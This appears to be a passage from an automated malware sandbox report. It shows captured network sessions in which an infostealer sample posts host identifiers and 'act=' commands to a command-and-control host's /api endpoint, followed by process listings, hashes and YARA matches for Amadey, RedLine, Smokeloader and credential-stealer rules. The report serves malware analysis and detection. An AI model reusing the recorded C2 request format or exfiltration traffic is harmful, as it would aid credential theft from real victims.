2024-12-10 04:10:58 UTC	15331	OUT	Data Raw: 2d 2d 51 35 45 54 55 33 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 51 35 45 54 55 33 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 35 45 54 55 33 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 35 45 54 55 33 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --Q5ETU3OKContent-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--Q5ETU3OKContent-Disposition: form-data; name="pid"3--Q5ETU3OKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Q5ETU3OKContent-Di
2024-12-10 04:10:58 UTC	5182	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 Data Ascii: un 4F([:7s~X`nO`i`
2024-12-10 04:10:59 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c6cemdndb4d2lgeoc9k8ipinlm; expires=Fri, 04-Apr-2025 21:57:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bdmMjGFaMaKYK9rMBJQAJKEzF2BKO%2FkJ2GEgpnRegfkWmG5DK8y0njJCzp5uDjgk%2FdRiIbsb%2FUi2xY9rBRyPr%2F6b6z4Vk1eErZYnGLyRc%2BUlYS8xPBz4OFt4XgU0OxkKTANu5d8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa63637d181819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1458&min_rtt=1448&rtt_var=564&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21467&delivery_rate=1902280&cwnd=215&unsent_bytes=0&cid=922e549decfa87ab&ts=879&x=0"
2024-12-10 04:10:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	50041	104.21.64.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:11:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 04:11:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 04:11:26 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:11:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34q0icmg3pqnjihq6nkr0ligj0; expires=Fri, 04-Apr-2025 21:58:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gu6jvMuYsrixYtPEAF1XKC1tnd541gO4DGlXB%2F8LBZddWjDKnocFvYT9U5Iu2Ny1Xo0CCF0SsU3e3jdsP9eXneU6c%2BHgade%2FUzQ9BMKs55KN%2BKonrWCwvXWhA8Q5hxR2dBi0cfs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa640eef111819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1478&rtt_var=559&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1947965&cwnd=215&unsent_bytes=0&cid=29a279ee389564bc&ts=847&x=0"
2024-12-10 04:11:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 04:11:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	50042	104.21.64.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:11:34 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 04:11:34 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 04:11:35 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=89v7789ujllav8tku0atc6hnr6; expires=Fri, 04-Apr-2025 21:58:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cYAdSew47YXVEqznCMu%2BcInah199iUO4ColMjfYcava%2BRPHsvpX%2BWNO7whRYt1lme2vgUrw%2FdmuSiQtZIPmUjeJ%2FxswI8B2MPQoO8RIlYKUyCuXOnZYF7PblN1hkucB7FfZI4Vw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa64495f748cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1912&min_rtt=1907&rtt_var=725&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1499743&cwnd=204&unsent_bytes=0&cid=e97addea72b0d611&ts=1018&x=0"
2024-12-10 04:11:35 UTC	349	IN	Data Raw: 32 64 37 66 0d 0a 57 7a 46 2f 43 6c 64 65 5a 42 4c 6f 63 53 66 55 77 35 2f 48 31 78 4c 47 59 51 2b 6e 35 6b 4e 71 6e 2b 30 47 68 33 6b 5a 75 6d 51 67 45 77 6b 6f 62 57 70 49 4d 4a 73 55 42 65 36 33 37 62 4b 79 50 75 51 41 61 34 58 63 4a 51 76 7a 6e 6d 4f 72 57 32 2f 58 52 6d 46 58 48 6d 59 6b 4f 30 67 77 6a 51 6b 46 37 70 6a 6b 35 62 4a 38 35 46 73 74 77 6f 77 68 43 2f 4f 50 5a 2b 77 57 61 64 59 48 4d 31 30 59 59 6a 49 39 41 48 4f 45 48 45 4b 78 70 76 36 74 75 58 75 72 43 57 4b 46 79 6d 45 50 35 63 38 38 70 54 52 38 7a 67 55 57 55 41 78 68 64 53 4e 49 61 63 6f 55 53 66 62 35 76 61 61 79 63 4b 6f 48 61 38 79 4f 4b 77 4c 37 6a 6d 4c 74 43 58 44 63 44 44 4e 54 47 32 4d 34 4e 42 52 2b 6a 68 74 4a 74 36 7a 2b 35 66 73 77 6f 78 73 74 6e 63 52 79 4f 76 36 65 64 Data Ascii: 2d7fWzF/CldeZBLocSfUw5/H1xLGYQ+n5kNqn+0Gh3kZumQgEwkobWpIMJsUBe637bKyPuQAa4XcJQvznmOrW2/XRmFXHmYkO0gwjQkF7pjk5bJ85FstwowhC/OPZ+wWadYHM10YYjI9AHOEHEKxpv6tuXurCWKFymEP5c88pTR8zgUWUAxhdSNIacoUSfb5vaaycKoHa8yOKwL7jmLtCXDcDDNTG2M4NBR+jhtJt6z+5fswoxstncRyOv6ed
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 54 47 32 59 30 4d 51 5a 69 67 68 68 4f 73 37 50 32 72 4c 68 39 70 41 35 6e 79 6f 63 68 44 2f 65 46 61 2b 38 66 64 74 55 41 4f 56 4e 64 4a 6e 55 37 48 6a 44 53 55 32 61 7a 73 66 71 70 6f 7a 4b 65 51 33 4b 4c 6e 57 45 50 38 63 38 38 70 52 4e 2b 32 77 55 79 58 42 35 67 50 69 34 47 59 6f 77 65 51 4b 53 6e 2b 4b 75 2f 63 37 59 4a 59 38 4f 48 4b 41 50 30 69 6d 50 68 57 7a 57 59 41 53 45 54 52 53 67 55 4d 51 31 38 67 41 52 46 39 72 36 7a 76 50 56 33 71 45 4d 31 68 59 41 67 44 50 79 4c 61 75 73 66 64 39 34 49 4e 46 77 62 59 6a 55 37 44 48 69 43 45 6b 69 39 72 76 32 67 75 48 53 69 44 32 7a 41 78 47 39 49 2b 70 63 6b 76 56 74 56 33 77 55 72 45 53 68 72 4f 7a 49 42 5a 73 6f 4d 43 36 2f 68 2b 71 6e 31 4b 4f 51 4e 61 4d 71 57 49 42 72 34 67 58 62 70 48 6e 33 56 42 54 Data Ascii: TG2Y0MQZighhOs7P2rLh9pA5nyochD/eFa+8fdtUAOVNdJnU7HjDSU2azsfqpozKeQ3KLnWEP8c88pRN+2wUyXB5gPi4GYoweQKSn+Ku/c7YJY8OHKAP0imPhWzWYASETRSgUMQ18gARF9r6zvPV3qEM1hYAgDPyLausfd94INFwbYjU7DHiCEki9rv2guHSiD2zAxG9I+pckvVtV3wUrEShrOzIBZsoMC6/h+qn1KOQNaMqWIBr4gXbpHn3VBT
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 4f 7a 49 42 5a 73 6f 4d 43 36 2f 68 2b 71 6e 31 4b 4f 51 4f 5a 63 43 42 4c 67 6e 33 67 57 48 76 46 33 50 57 42 53 74 63 47 57 67 35 4e 41 78 39 68 42 64 4e 76 36 72 32 6f 37 56 78 72 6b 4d 6a 68 59 4d 35 53 4b 58 50 55 4f 49 58 64 74 64 45 44 46 41 54 5a 6a 49 71 52 6d 2f 45 43 67 57 78 72 62 33 39 39 58 79 74 41 32 62 50 67 43 45 50 38 49 70 6e 34 68 68 32 33 77 77 33 56 42 6c 6b 50 44 45 41 63 49 30 58 51 4b 53 6b 39 4b 6d 35 4d 4f 70 44 61 74 33 45 65 55 6a 53 69 48 4c 6d 4e 48 6a 4a 44 33 6c 4d 55 33 46 31 4f 77 6f 77 30 6c 4e 43 73 36 6e 32 6f 37 31 77 74 67 5a 6a 7a 6f 55 72 44 76 79 43 61 4f 4d 62 65 74 67 41 4e 56 4d 61 62 79 63 75 41 33 61 59 47 51 58 34 34 66 71 39 39 53 6a 6b 4e 58 33 53 6c 54 64 4b 79 49 78 71 36 78 78 74 6d 42 6c 33 53 6c 31 Data Ascii: OzIBZsoMC6/h+qn1KOQOZcCBLgn3gWHvF3PWBStcGWg5NAx9hBdNv6r2o7VxrkMjhYM5SKXPUOIXdtdEDFATZjIqRm/ECgWxrb399XytA2bPgCEP8Ipn4hh23ww3VBlkPDEAcI0XQKSk9Km5MOpDat3EeUjSiHLmNHjJD3lMU3F1Owow0lNCs6n2o71wtgZjzoUrDvyCaOMbetgANVMabycuA3aYGQX44fq99SjkNX3SlTdKyIxq6xxtmBl3Sl1
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 47 4b 43 48 55 69 39 72 76 61 33 74 58 32 67 44 32 6e 4e 6a 79 74 49 73 38 39 6a 2f 56 73 6a 6d 44 4d 30 58 42 31 72 49 33 77 5a 50 70 4e 54 51 72 72 68 70 65 57 35 66 71 51 4d 59 63 6d 50 4b 51 6e 78 67 57 50 67 45 6e 50 51 46 44 68 58 46 57 6b 37 4d 77 64 30 6a 78 5a 42 73 61 58 37 71 76 55 2b 35 41 52 31 68 64 78 68 4a 39 71 36 4a 73 51 68 4f 38 64 49 49 42 4d 61 5a 48 56 6b 52 6e 79 4a 48 30 32 35 70 2f 53 70 76 33 6d 76 44 32 62 42 69 43 67 4e 2b 34 35 68 34 42 70 2f 31 41 77 2f 55 42 35 6e 4f 6a 4d 4f 4d 4d 52 54 51 71 37 68 70 65 57 51 5a 36 38 4e 61 34 57 62 62 78 47 39 69 47 69 6c 51 7a 76 55 44 7a 39 56 47 47 51 30 4f 67 35 31 67 68 64 45 73 4b 66 2b 71 72 46 31 70 51 78 70 79 59 6f 72 43 66 79 44 62 2b 6f 51 66 70 68 49 65 56 51 46 4b 47 31 38 Data Ascii: GKCHUi9rva3tX2gD2nNjytIs89j/VsjmDM0XB1rI3wZPpNTQrrhpeW5fqQMYcmPKQnxgWPgEnPQFDhXFWk7Mwd0jxZBsaX7qvU+5AR1hdxhJ9q6JsQhO8dIIBMaZHVkRnyJH025p/Spv3mvD2bBiCgN+45h4Bp/1Aw/UB5nOjMOMMRTQq7hpeWQZ68Na4WbbxG9iGilQzvUDz9VGGQ0Og51ghdEsKf+qrF1pQxpyYorCfyDb+oQfphIeVQFKG18
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 52 41 76 61 37 78 35 66 73 77 6f 78 73 74 6e 63 51 50 41 2b 36 59 5a 2b 73 51 62 63 4e 47 4a 68 30 45 4b 44 49 77 52 69 6a 4b 45 45 36 39 70 66 32 70 74 58 53 70 41 33 2f 4b 67 79 59 42 39 70 31 75 34 68 78 77 30 41 30 32 56 51 39 6b 4f 79 34 44 59 70 68 54 43 2f 61 6d 35 65 58 74 4d 4a 49 45 66 64 57 48 59 7a 6e 72 6a 48 4c 75 46 6e 65 59 47 58 64 4b 58 57 38 35 66 46 34 77 6a 42 78 4d 74 61 37 38 72 4c 6c 39 6f 51 70 6f 78 49 49 6c 41 76 65 50 59 75 4d 61 66 74 49 46 4f 46 6b 55 62 7a 30 37 42 57 4c 4b 58 51 57 78 75 62 33 39 39 56 6d 6a 45 57 50 56 78 44 35 47 35 4d 39 6a 36 56 73 6a 6d 41 49 7a 58 42 6c 76 4f 54 6f 44 64 6f 63 53 53 72 65 68 38 71 47 2b 65 61 49 43 59 4d 43 4a 4a 52 72 33 68 47 76 70 45 6e 66 56 52 6e 63 54 47 6e 42 31 5a 45 5a 42 68 Data Ascii: RAva7x5fswoxstncQPA+6YZ+sQbcNGJh0EKDIwRijKEE69pf2ptXSpA3/KgyYB9p1u4hxw0A02VQ9kOy4DYphTC/am5eXtMJIEfdWHYznrjHLuFneYGXdKXW85fF4wjBxMta78rLl9oQpoxIIlAvePYuMaftIFOFkUbz07BWLKXQWxub399VmjEWPVxD5G5M9j6VsjmAIzXBlvOToDdocSSreh8qG+eaICYMCJJRr3hGvpEnfVRncTGnB1ZEZBh
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 72 37 36 2b 2b 64 61 6b 4f 59 4d 61 43 4a 77 50 78 6e 57 33 6c 47 48 43 59 53 48 6c 55 42 53 68 74 66 43 56 6e 6e 42 6c 43 75 72 66 32 70 4c 5a 6d 71 52 4d 74 69 38 51 77 44 2b 7a 50 50 50 4d 4c 62 4e 38 5a 64 30 70 64 62 7a 6c 38 58 6a 43 4d 47 6b 4f 78 70 2f 4f 33 73 48 61 72 44 47 54 4d 67 43 6b 4c 2f 59 74 67 34 68 35 34 31 41 30 2b 55 42 4a 73 50 44 49 50 66 38 70 64 42 62 47 35 76 66 33 31 55 62 38 41 59 63 6a 45 50 6b 62 6b 7a 32 50 70 57 79 4f 59 43 6a 64 57 48 57 49 7a 4f 41 4e 32 67 42 5a 46 76 61 4c 79 6f 62 4e 30 71 77 4e 6d 7a 49 55 6e 44 66 65 45 59 75 67 59 66 64 35 47 64 78 4d 61 63 48 56 6b 52 6c 43 52 48 6b 6d 78 34 65 4c 72 72 44 43 6a 44 79 32 64 78 43 6f 45 2b 59 68 6b 36 42 68 7a 33 51 49 7a 56 68 31 67 4a 7a 51 47 64 35 67 42 52 62 Data Ascii: r76++dakOYMaCJwPxnW3lGHCYSHlUBShtfCVnnBlCurf2pLZmqRMti8QwD+zPPPMLbN8Zd0pdbzl8XjCMGkOxp/O3sHarDGTMgCkL/Ytg4h541A0+UBJsPDIPf8pdBbG5vf31Ub8AYcjEPkbkz2PpWyOYCjdWHWIzOAN2gBZFvaLyobN0qwNmzIUnDfeEYugYfd5GdxMacHVkRlCRHkmx4eLrrDCjDy2dxCoE+Yhk6Bhz3QIzVh1gJzQGd5gBRb
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 39 55 37 6b 45 57 37 56 68 79 34 5a 77 38 38 38 2f 43 55 37 30 78 41 2b 51 78 35 2b 50 6a 45 4b 59 62 52 54 48 65 4c 7a 72 2f 66 6e 49 72 74 44 63 76 72 4b 59 51 6d 39 31 31 33 38 57 32 32 59 58 6d 73 64 58 58 70 31 5a 45 59 33 69 51 46 58 73 4b 4c 72 70 76 4a 4f 6d 69 52 37 7a 34 4d 78 44 2b 71 41 4a 4b 74 62 64 4a 68 65 41 42 4d 55 62 79 34 74 45 48 32 61 46 41 57 4a 37 37 32 39 39 53 6a 6b 4e 6d 37 4c 69 69 59 65 37 4d 4a 44 38 78 46 38 79 41 45 75 58 46 30 6d 64 54 70 47 4b 4e 6c 64 42 62 4b 77 76 66 33 6c 49 76 39 57 50 70 4c 55 63 78 65 7a 6c 69 54 7a 57 79 4f 4b 53 48 6c 42 58 54 42 31 65 77 56 69 6d 42 56 47 6f 4b 4b 36 6d 34 74 58 76 67 35 72 30 70 55 66 4e 76 71 56 61 65 4d 4d 61 70 51 54 4f 6c 30 54 62 79 4e 38 53 44 43 46 55 78 32 50 34 62 58 Data Ascii: 9U7kEW7Vhy4Zw888/CU70xA+Qx5+PjEKYbRTHeLzr/fnIrtDcvrKYQm91138W22YXmsdXXp1ZEY3iQFXsKLrpvJOmiR7z4MxD+qAJKtbdJheABMUby4tEH2aFAWJ77299SjkNm7LiiYe7MJD8xF8yAEuXF0mdTpGKNldBbKwvf3lIv9WPpLUcxezliTzWyOKSHlBXTB1ewVimBVGoKK6m4tXvg5r0pUfNvqVaeMMapQTOl0TbyN8SDCFUx2P4bX
2024-12-10 04:11:35 UTC	1369	IN	Data Raw: 46 4d 2f 6e 74 46 79 58 36 33 64 65 36 73 43 4f 38 35 47 59 51 46 54 4b 43 64 38 58 6a 44 4e 45 46 65 6b 70 2f 36 7a 74 6a 65 61 50 55 72 4c 67 79 41 65 37 5a 68 72 32 79 56 75 32 77 67 33 56 41 74 35 64 58 4a 47 66 38 70 4c 66 50 62 70 76 5a 72 37 4d 4c 78 44 4e 59 57 78 49 67 62 7a 69 48 4c 30 56 6c 7a 57 41 54 68 46 44 58 38 36 66 45 67 77 6a 46 4d 64 35 4f 2b 39 6f 61 51 77 2f 46 4d 2f 6e 74 46 79 58 36 33 64 65 36 73 43 4f 38 35 47 59 51 46 54 4b 43 64 38 58 6a 44 4e 45 46 65 6b 70 2f 36 7a 74 6a 65 61 50 55 72 4c 67 79 41 65 37 5a 68 72 71 6a 56 4e 2b 54 67 48 52 68 35 6d 4f 7a 73 51 59 63 70 64 42 62 6e 68 70 5a 7a 31 4f 4f 51 38 49 34 57 63 59 56 43 39 75 6d 66 72 46 58 7a 4f 46 33 52 30 45 32 38 30 4b 68 5a 6e 68 56 78 72 67 49 43 39 36 2f 56 32 Data Ascii: FM/ntFyX63de6sCO85GYQFTKCd8XjDNEFekp/6ztjeaPUrLgyAe7Zhr2yVu2wg3VAt5dXJGf8pLfPbpvZr7MLxDNYWxIgbziHL0VlzWAThFDX86fEgwjFMd5O+9oaQw/FM/ntFyX63de6sCO85GYQFTKCd8XjDNEFekp/6ztjeaPUrLgyAe7ZhrqjVN+TgHRh5mOzsQYcpdBbnhpZz1OOQ8I4WcYVC9umfrFXzOF3R0E280KhZnhVxrgIC96/V2
2024-12-10 04:11:36 UTC	1369	IN	Data Raw: 4b 36 48 79 58 76 69 48 54 6d 57 55 72 4f 42 54 6c 64 47 69 68 37 66 42 34 77 30 6c 4e 6f 70 4b 62 74 70 76 55 2b 35 41 38 74 6e 63 51 73 47 76 71 66 5a 36 6b 63 59 64 39 47 4a 68 30 45 4b 43 4e 38 58 69 50 45 55 31 66 32 2b 62 33 69 75 33 32 6c 41 47 50 47 6c 6a 4d 4f 2f 70 6c 6e 6f 69 56 46 39 52 51 2b 51 78 34 71 42 44 45 43 5a 70 38 51 56 62 47 66 77 34 69 6e 64 37 51 41 4c 2b 6d 44 4c 41 54 44 73 56 50 30 48 47 75 61 49 44 70 46 48 69 68 37 66 42 34 77 30 6c 4e 6f 70 4b 62 74 70 76 64 63 6f 77 35 68 68 5a 74 76 45 62 32 5a 4a 4c 31 49 4e 5a 67 55 65 51 74 64 4c 7a 59 75 46 48 61 4a 42 55 62 78 6e 38 4f 49 70 33 65 30 41 43 2f 30 69 53 55 65 36 49 78 30 34 69 56 46 39 52 51 2b 51 78 34 71 45 41 5a 45 51 5a 77 51 52 62 69 6d 76 65 76 31 61 4f 52 62 4c Data Ascii: K6HyXviHTmWUrOBTldGih7fB4w0lNopKbtpvU+5A8tncQsGvqfZ6kcYd9GJh0EKCN8XiPEU1f2+b3iu32lAGPGljMO/plnoiVF9RQ+Qx4qBDECZp8QVbGfw4ind7QAL+mDLATDsVP0HGuaIDpFHih7fB4w0lNopKbtpvdcow5hhZtvEb2ZJL1INZgUeQtdLzYuFHaJBUbxn8OIp3e0AC/0iSUe6Ix04iVF9RQ+Qx4qEAZEQZwQRbimvev1aORbL

Target ID:	0
Start time:	23:08:52
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa90000
File size:	3'296'768 bytes
MD5 hash:	326AD6C04A850BB9BA3CE77D62DF16E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2055475326.0000000000A91000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:08:55
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1f0000
File size:	3'296'768 bytes
MD5 hash:	326AD6C04A850BB9BA3CE77D62DF16E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2086144710.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:08:56
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1f0000
File size:	3'296'768 bytes
MD5 hash:	326AD6C04A850BB9BA3CE77D62DF16E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2089024610.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:10:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1f0000
File size:	3'296'768 bytes
MD5 hash:	326AD6C04A850BB9BA3CE77D62DF16E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	23:10:13
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe"
Imagebase:	0x400000
File size:	1'990'144 bytes
MD5 hash:	054B1E771A301C1E792397A683ED0A90
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.3265730716.0000000000FFC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	23:10:21
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe"
Imagebase:	0x370000
File size:	1'832'448 bytes
MD5 hash:	73F9C0001107EB1B3AAB6549C6574F7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3093876019.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2978992587.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3007919799.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.2972144892.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3071939046.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3093554780.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3058481738.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: 